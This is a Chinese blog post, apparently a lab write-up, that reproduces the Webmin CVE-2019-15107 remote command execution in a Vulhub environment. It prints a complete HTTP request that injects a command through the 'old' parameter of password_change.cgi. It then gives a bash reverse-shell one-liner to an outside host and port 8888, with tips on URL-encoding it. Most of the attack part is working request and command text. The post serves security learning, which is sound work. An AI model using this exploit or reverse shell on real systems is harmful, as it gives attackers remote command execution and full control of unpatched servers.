• Webmin远程命令执行(CVE-2019-15107)


    Webmin远程命令执行(CVE-2019-15107)

    Webmin是一款基于web的Unix系统管理工具、管理员可通过浏览器访问Webmin的各种管理功能,完成对应的管理操作,当用户开启Webmin密码重置功能后,利用该漏洞可执行任意命令,获取系统权限
    漏洞版本:Webmin<=1.9.20
    使用Vulhub来快速启动漏洞环境
    docker-compose up -d    启动环境

    直接使用浏览器访问该IP的10000端口

    然后抓包构造以下数据,当我们的用户名存在时会直接返回修改密码失败,原密码错误,不会执行后面的命令。

    这种思路其实可以也用到逻辑测试上,当用户存在时不存在漏洞,但是当用户不存在时确可以执行命令。

    所以我们需要构造一个系统内不存在的用户,然后在old参数中使用 | 来连接执行命令。

     

     1 POST /password_change.cgi HTTP/1.1
     2 Host: 192.168.0.103:10000
     3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
     4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
     5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
     6 Accept-Encoding: gzip, deflate
     7 Content-Type: application/x-www-form-urlencoded
     8 Content-Length: 61
     9 Origin: https://192.168.0.103:10000
    10 Connection: close
    11 Referer: https://192.168.0.103:10000/
    12 Cookie: redirect=1; testing=1;sid=x;sessiontest=1
    13 Upgrade-Insecure-Requests: 1
    14 
    15 user=root111&pam=&expired=2&old=test|ls&new1=test2&new2=test2
    其实在测试参数中只要确保存在user、old、new1、new2这四个参数就可执行命令
    简单利用:
    使用nc监听8888端口

    然后使用bash反弹shell

    bash -c "bash -i >& /dev/tcp/192.168.0.102/8888 0>&1"

    这里需要进行一下URL编码

    这里一直不明白为什么一定要用编码才能执行命令

    其实是因为“&”符号,当程序在运行时遇到&符时,会被当做逻辑符号来解释,但前面我们输入的密码是假的,所以不能执行命令,我们只需要把“&”符进行编码就可以执行命令反弹shell

     成功反弹回来


     完结!!!

  • 相关阅读:
    爬虫那些事儿---爬虫选择策略
    爬虫那些事儿--Http返回码
    【珍藏】linux 同步IO: sync、fsync与fdatasync
    perf学习-linux自带性能分析工具
    进程调度原理
    phpmyadmin 免登陆
    请为main函数提供返回值
    悬挂else引发的问题
    PhpMyAdmin导入数据库大小限制?
    linux内核Makefile整体分析
  • 原文地址:https://www.cnblogs.com/Excellent-person/p/14705418.html
Copyright © 2020-2023  润新知